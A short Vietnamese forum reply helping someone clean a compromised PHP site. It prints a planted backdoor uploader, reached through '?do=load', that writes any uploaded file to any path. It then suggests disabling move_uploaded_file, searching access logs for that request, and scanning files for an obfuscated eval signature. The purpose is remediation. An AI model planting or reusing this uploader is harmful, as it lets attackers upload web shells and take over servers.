Nội dung đây bạn :
Code:
if ($_REQUEST['do']=='load'){
$files = @$_FILES["files"];
if($files["name"] != ''){
$fullpath = $_REQUEST["path"].$files["name"];
if(move_uploaded_file($files['tmp_name'],$fullpath)) echo "<h1><a href='$fullpath'>OK-Click here!</a></h1>";
}
die('<form method=POST enctype="multipart/form-data" action="">
<input type=text name=path>
<input type="file" name="files"><input type=submit value="Up"></form>');
}
Nó chỉ là một đoạn mã upload thôi, bạn vào php.ini tạm thời disable hàm "move_uploaded_file".
Tìm các requets trong accesslog chứa "?do=load"
Tìm các file php chứa "eval("\x20\x69\x66\x20\x28\x24".
Chúc bạn sớm khắc phục được .